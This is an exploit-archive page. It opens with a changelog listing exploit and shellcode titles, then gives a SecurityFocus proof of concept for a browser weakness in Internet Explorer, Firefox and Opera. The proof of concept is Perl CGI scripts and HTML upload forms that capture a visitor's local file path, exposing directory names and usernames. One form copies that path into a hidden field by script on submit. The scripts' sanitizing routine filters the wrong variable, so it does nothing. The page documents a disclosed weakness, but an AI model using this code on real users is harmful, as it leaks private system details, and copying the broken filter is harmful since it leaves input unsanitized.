
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
157 lines
No EOL
4 KiB
Text
157 lines
No EOL
4 KiB
Text
source: https://www.securityfocus.com/bid/12723/info
|
|
|
|
Multiple browsers are reported prone to an information disclosure weakness. This issue can allow an attacker to determine information such as the location of files, file names and user names on a vulnerable computer. Information gathered through the exploitation of this weakness may aid in other attacks against the computer.
|
|
|
|
This weakness has been identified in Microsoft Internet Explorer, Mozilla Firefox, and Opera.
|
|
|
|
server-side Perl CGI.(ask.cgi)
|
|
- ---------------------------
|
|
#!/usr/bin/perl
|
|
print "Content-Type: text/html\n\n";
|
|
|
|
die if $ENV{CONTENT_LENGTH} > 100*1024;
|
|
|
|
$objectname = "RFC1867";
|
|
$boundary = <STDIN>;
|
|
$boundary =~s /\r\n//;
|
|
while(<STDIN>){
|
|
if($_ =~ /$objectname/){
|
|
~s/\r\n//;
|
|
~s/"//g;
|
|
@dum = split(/filename=/, $_);
|
|
$rfc1867 = $dum[@dum - 1];
|
|
}
|
|
}
|
|
&Filtertxt( $rfc1867 );
|
|
print "$rfc1867\n";
|
|
|
|
exit(0);
|
|
|
|
sub Filtertxt {
|
|
local( $ft ) = @_;
|
|
$fd =~ s/[\<\>\"\'\%\;\)\(\&\+]//g;
|
|
return( $ft ) ;
|
|
}
|
|
- ---------------------------
|
|
|
|
client-side FORM.
|
|
- ---------------------------
|
|
<form name="XA" method="POST" enctype="multipart/form-data"
|
|
action="http://www.example.com/cgi-bin/ask.cgi">
|
|
<input type="file" name="RFC1867">
|
|
<input type="hidden" name="XB" value="HIDDEN">
|
|
<input type=submit value="Upload">
|
|
</form>
|
|
|
|
Targeting Internet Explorer and Opera:
|
|
|
|
server-side Perl CGI.(named ask2.cgi)
|
|
- ---------------------------
|
|
#!/usr/bin/perl
|
|
|
|
if($ENV{'REQUEST_METHOD'} eq 'POST'){
|
|
#reads inputted variables through POST
|
|
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
|
|
}
|
|
else{
|
|
#reads inputted variables through GET
|
|
$buffer = $ENV{'QUERY_STRING'};
|
|
}
|
|
|
|
#splits the variables at &
|
|
@pairs = split(/&/, $buffer);
|
|
foreach $pair (@pairs) {
|
|
#sets the value and name of each var
|
|
($name, $value) = split(/=/, $pair);
|
|
#makes each + into a space
|
|
$value =~ tr/+/ /;
|
|
#URL decode
|
|
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
|
|
#filter out bad characters & # < > " '
|
|
$value = &Filtertxt( $value );
|
|
#sets the varibles in a hash
|
|
$FORM{$name} = $value;
|
|
}
|
|
|
|
#print html .
|
|
print "Content-Type: text/html\n";
|
|
print "\n";
|
|
print "$FORM{'XB'}\n";
|
|
print "<br>\n";
|
|
print "$FORM{'RFC1867'}\n";
|
|
|
|
exit(0);
|
|
|
|
sub Filtertxt {
|
|
local( $ft ) = @_;
|
|
$fd =~ s/[\<\>\"\'\%\;\)\(\&\+]//g;
|
|
return( $ft ) ;
|
|
}
|
|
- ---------------------------
|
|
|
|
client-side FORM.
|
|
- ---------------------------
|
|
<form name="XA" method="GET" enctype="multipart/form-data"
|
|
action="http://www.example.com/cgi-bin/ask2.cgi">
|
|
<input type="file" name="RFC1867">
|
|
<input type="hidden" name="XB" value="HIDDEN">
|
|
<input type=submit value="Upload">
|
|
</form>
|
|
- ---------------------------
|
|
|
|
Targeting Firefox, Internet Explorer and Opera:
|
|
|
|
server-side Perl CGI.(named ask2.cgi)
|
|
- ---------------------------
|
|
#!/usr/bin/perl
|
|
|
|
if($ENV{'REQUEST_METHOD'} eq 'POST'){
|
|
#reads inputted variables through POST
|
|
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
|
|
}
|
|
else{
|
|
#reads inputted variables through GET
|
|
$buffer = $ENV{'QUERY_STRING'};
|
|
}
|
|
|
|
#splits the variables at &
|
|
@pairs = split(/&/, $buffer);
|
|
foreach $pair (@pairs) {
|
|
#sets the value and name of each var
|
|
($name, $value) = split(/=/, $pair);
|
|
#makes each + into a space
|
|
$value =~ tr/+/ /;
|
|
#URL decode
|
|
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
|
|
#filter out bad characters & # < > " '
|
|
$value = &Filtertxt( $value );
|
|
#sets the varibles in a hash
|
|
$FORM{$name} = $value;
|
|
}
|
|
|
|
#print html .
|
|
print "Content-Type: text/html\n";
|
|
print "\n";
|
|
print "$FORM{'XB'}\n";
|
|
print "<br>\n";
|
|
print "$FORM{'RFC1867'}\n";
|
|
|
|
exit(0);
|
|
|
|
sub Filtertxt {
|
|
local( $ft ) = @_;
|
|
$fd =~ s/[\<\>\"\'\%\;\)\(\&\+]//g;
|
|
return( $ft ) ;
|
|
}
|
|
- ---------------------------
|
|
|
|
client-side FORM.
|
|
- ---------------------------
|
|
<form name="XA" method="GET" enctype="multipart/form-data"
|
|
action="http://www.example.com/cgi-bin/ask2.cgi">
|
|
<input type="file" name="RFC1867">
|
|
<input type="hidden" name="XB" value="HIDDEN">
|
|
<input type=submit value="Upload"
|
|
onclick="document.XA.XB.value=document.XA.RFC1867.value;return true" >
|
|
</form>
|
|
- --------------------------- |